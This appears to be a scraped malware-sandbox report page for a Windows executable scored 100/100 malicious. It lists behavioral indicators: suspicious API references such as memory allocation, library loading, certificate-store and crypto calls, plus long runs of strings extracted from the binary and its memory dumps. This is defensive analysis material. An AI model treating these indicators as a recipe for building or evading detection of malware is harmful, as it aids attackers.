24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 4d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4b9,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample 213b55b1c7e1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 213b55b1c7e1…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 5/27 AV engines flagged this file. 5 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":5,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T611,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "VirtualAlloc"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "VirtualFree"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "VirtualFree"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") file/memory contains long string with (Indicator: "VirtualFree"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp")26:T960,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") file/memory contains long string with (Indicator: "SetWaitableTimer"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") file/memory contains long string with (Indicator: "WaitForSingleObject"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp") file/memory contains long string with (Indicator: "SetWaitableTimer"; Source: "00000000-00005740.00000000.171500.0094C000.00000002.mdmp")27:T7d1,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp, 00000000-00003824.00000000.171284.005BB000.00000002.mdmp") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp, 00000000-00003824.00000000.171284.005BB000.00000002.mdmp") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003824.00000000.171284.005BB000.00000002.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003824.00000000.171284.25400000.00000040.mdmp")28:Td2b,"m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such d" (Indicator: "CertOpenStore"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "eviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayRtlGetVersion" (Indicator: "CertCloseStore"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "eviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayRtlGetVersion" (Indicator: "CryptGenRandom"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panicunexpected g status, g->atomicstatus=bad runtime" (Indicator: "CryptReleaseContext"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChangesWNetGetJoinInformat" (Indicator: "CertOpenSystemStoreW"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChangesWNetGetJoinInformat" (Indicator: "CryptAcquireContextW"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "no free spaceruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime retur" (Indicator: "CertGetCertificateChain"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "ning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace." (Indicator: "CertFreeCertificateChain"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin"), Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of remaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStarthash of unhashable type: GODEBUG: can not enable "invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitnotewakeup - double wakeuppersistentalloc: size == 0negative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative" (Indicator: "CertFreeCertificateContext"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memorychannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gs" (Indicator: "CertCreateCertificateContext"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "ted between runtime: impossible type kind unsafe.Slice: len out of rangesync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "cannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]internal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixall" (Indicator: "CertAddCertificateContextToStore"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin"), Found api reference "ted between runtime: impossible type kind unsafe.Slice: len out of rangesync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "cannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]internal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixall" (Indicator: "CertVerifyCertificateChainPolicy"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such" (Indicator: "CertOpenStore"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChangesWNetGetJoinInforma" (Indicator: "CertOpenSystemStoreW"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptioninvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in golink has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChangesWNetGetJoinInforma" (Indicator: "CryptAcquireContextW"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "no free spaceruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime retu" (Indicator: "CertGetCertificateChain"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "ning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace" (Indicator: "CertFreeCertificateChain"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on g" (Indicator: "CertCreateCertificateContext"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin"), Found api reference "ted between runtime: impossible type kind unsafe.Slice: len out of rangesync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "cannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]internal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixal" (Indicator: "CertAddCertificateContextToStore"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin") Found api reference "ted between runtime: impossible type kind unsafe.Slice: len out of rangesync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "cannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]internal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixal" (Indicator: "CertVerifyCertificateChainPolicy"; File: "213b55b1c7e1bf89dcad5f085f15b6cf1ac70ae8d3a914ea91dfc9ca92f83052.bin"), Found api reference "runtime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at:" (Indicator: "CertOpenStore"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayRtlGetVersion" (Indicator: "CertCloseStore"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp"), Found api reference "sched={pc: gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayRtlGetVersion" (Indicator: "CryptGenRandom"; Source: "00000000-00003824.00000000.171284.0048C000.00000002.mdmp"), Found api reference " locked to thread synctest bubble runtime.semacreateruntime.semawakeupbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not 